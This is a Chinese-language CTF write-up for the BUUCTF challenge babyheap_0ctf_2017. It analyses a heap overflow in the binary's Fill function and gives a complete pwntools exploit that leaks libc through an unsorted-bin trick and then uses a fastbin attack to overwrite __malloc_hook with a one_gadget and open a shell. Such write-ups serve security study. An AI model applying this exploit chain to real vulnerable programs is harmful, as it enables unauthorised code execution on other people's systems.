BUUCTF-PWN-babyheap_0ctf_2017

第一次遇到堆题,堆的知识从头开始学起,花了很久,终于把每一步都搞懂了

checksec

image-20220205173329240

IDA

为了方便审阅代码,修改了部分函数名和变量名

image-20220205173525861

main函数看,这是一种很经典的类似于“笔记管理系统”的堆题

image-20220205173744072

Init函数用mmap进行了虚拟内存映射,并返回基址

image-20220205174756638

get_num函数调用了get_string函数,作用是获得一个数字

switch下是四个函数和一个return 0,下面一个一个分析:

image-20220205204149939

Allocate函数使用数组的方法指向结构体来存储每个chunck的信息,结构体内的信息包括了chunck_in_usechunck_lenchunck_addr

image-20220205205103641

Fill函数承担写入chunck的作用,而最大的漏洞就出在这里,因为Fill函数的写入长度是由用户自行决定的,且没有检查chunck的大小,所以会造成溢出

image-20220205205314088

Free函数用于释放chunck

image-20220205205430236

Dump函数用于打印chunck中的内容

思路

leak libc(unsoredbin attack)

@8FK_HFZ80QFJ17N1QT5[]2

1

getshell(fastbin attack)

$~W6QHWNUVAM$PH19G8YHXE

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

def Allocate(io, size):
io.sendlineafter('Command: ', '1')
io.sendlineafter('Size: ', str(size))

def Fill(io, index, content):
io.sendlineafter('Command: ', '2')
io.sendlineafter('Index: ', str(index))
io.sendlineafter('Size: ', str(len(content)))
io.sendlineafter('Content: ', content)

def Free(io, index):
io.sendlineafter('Command: ', '3')
io.sendlineafter('Index: ', str(index))

def Dump(io, index):
io.sendlineafter('Command: ', '4')
io.sendlineafter('Index: ', str(index))
io.recvuntil('Content: \n')

if __name__ == '__main__':
context.log_level = 'debug'

#p = process('./babyheap')
p = remote('node4.buuoj.cn', 28416)
libc = ELF('./../libc/ubuntu16/64/libc-2.23.so')

###############################
# unsortedbin attack 获取libc #
###############################

Allocate(p, 0x80) #0
Allocate(p, 0x80) #1
Allocate(p, 0x80) #2
Allocate(p, 0x80) #3

# Free(1)使chunck1进入unsortedbin
Free(p, 1)

# 0x80覆盖完chunck0
# 0x8覆盖chunck1的prev_size
# p64(0x120 + 1)改写size,表示chunck1的可使用大小为0x120,且上一chunck为in_use
Fill(p, 0, b'a' * ( 0x80 + 8 ) + p64(0x80 + 0x10 + 0x80 + 0x10 + 1))

# 申请0x80 + 0x10 + x80
# 刚好包括了chunck2
Allocate(p, 0x80 + 0x10 + 0x80)

# 为chunck2改写size
# (有一部分大小为0x10甚至溢出了原来的chunck2,但没关系,chunck3不会被用到,从而起到保护作用)
Fill(p, 1, b'a' * ( 0x80 + 8 ) + p64(0x80 + 0x10 + 1))

# 通过释放内存,获得fd和bk指针
Free(p, 2)

# 打印,即可获得fd和bk的指针信息
# fd指针会指向main_arena + 0x58
Dump(p, 1)

p.recv(0x90 + 8)
fd_addr = u64(p.recv(8))
print('fd_addr: ', hex(fd_addr))
main_arena_addr = fd_addr - 0x58
print('main_arean_addr: ', hex(main_arena_addr))

# malloc_hook的地址与main_arena相差0x10
malloc_hook_addr = main_arena_addr - 0x10
print('malloc_hook_addr: ', hex(malloc_hook_addr))

libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
print('libc_base: ', hex(libc_base))

##################
# fastbin attack #
##################

Allocate(p, 0x80) #申请回chunck2
Allocate(p, 0x60) #4
Allocate(p, 0x60) #5

# chunck5进入fastbin
Free(p, 5)

# 0x60填满chunck4的可使用空间
# 0x8覆盖chunck5的prev_size
# p64(0x70 + 1)改写chunck5的size
# p64(malloc_hook_addr - 0x23)改写fd指针,使其指向malloc_hook附近,堆管理器会认为这是下一个可已被分配的堆
# 且malloc_hook_addr - 0x23处,size的位置为7f(属于fastbin的大小)
# p64(0)改写bk指针
Fill(p, 4, b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0))

Allocate(p, 0x60) #5
Allocate(p, 0x60) #6

# one_gadget
execve_bin_sh_addr = libc_base + 0x4526a

# 0x13覆盖malloc_hook之前的一段数据
# p64(execve_bin_sh_addr)改写malloc_hook,让其指向execve_bin_sh
Fill(p, 6, b'a' * 0x13 + p64(execve_bin_sh_addr))

# 让系统使用到malloc函数,从而调用到malloc_hook,得到shell
Allocate(p, 0x10)

p.interactive()

结果

image-20220205210305419

image-20220205210324135